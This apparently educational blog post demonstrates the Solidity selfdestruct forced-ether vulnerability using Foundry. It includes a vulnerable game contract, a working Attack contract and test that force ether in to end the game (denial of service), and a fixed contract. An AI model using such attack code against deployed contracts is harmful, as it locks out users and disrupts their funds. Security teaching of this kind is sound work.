Foundry II -SelfDestruct
3 min readMay 9, 2022
Code is in the here.
Thanks to Murat and Ahmet.
EtherGame
Contract EtherGame {
uint constant public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; // vulnerable require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } }
function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } }
Attack
contract Attack {EtherGame etherGame;constructor(EtherGame _etherGame) {etherGame = EtherGame(_etherGame);}function dos() public payable {// cast address to payableaddress payable addr = payable(address(etherGame));selfdestruct(addr);}}
ContractTest
contract ContractTest is Test {EtherGame EtherGameContract;Attack AttackerContract;
address alice;address eve;function setUp() public {EtherGameContract = new EtherGame();//alice = vm.addr(1);alice = makeAddr("alice");// eve = vm.addr(2);eve = makeAddr("eve");vm.deal(alice, 1 ether);vm.deal(eve, 2 ether);}function testFailSelfdestruct() public {console.log("Alice balance", alice.balance);console.log("Eve balance", eve.balance);console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.}}
forge test — contracts ./src/test/SelfDestruct.sol -vvvv
console.log("Alice deposit 1 Ether...");vm.prank(alice);EtherGameContract.deposit{value: 1 ether}();console.log("Eve deposit 1 Ether...");vm.prank(eve);EtherGameContract.deposit{value: 1 ether}();
AttackerContract = new Attack(EtherGameContract);AttackerContract.dos{value: 5 ether}();console.log("Balance of EtherGameContract", address(EtherGameContract).balance);console.log("Exploit completed, Game is over");
vm.prank(eve);EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
What is the problem ?
uint balance = address(this).balance; // vulnerable
You assign the adress’ balance to the balance variable but Hacker could sent the ether this address with selfdestruct method.
How to solve ?
contract EtherGame {uint constant public targetAmount = 7 ether;address public winner;uint public balance;function deposit() public payable {require(msg.value == 1 ether, "You can only send 1 Ether");balance +=msg.value;require(balance <= targetAmount, "Game is over");if (balance == targetAmount) {winner = msg.sender;}}function claimReward() public {require(msg.sender == winner, "Not winner");(bool sent, ) = msg.sender.call{value: balance}("");require(sent, "Failed to send Ether");}}
Failed tests: [FAIL] testFailSelfdestruct()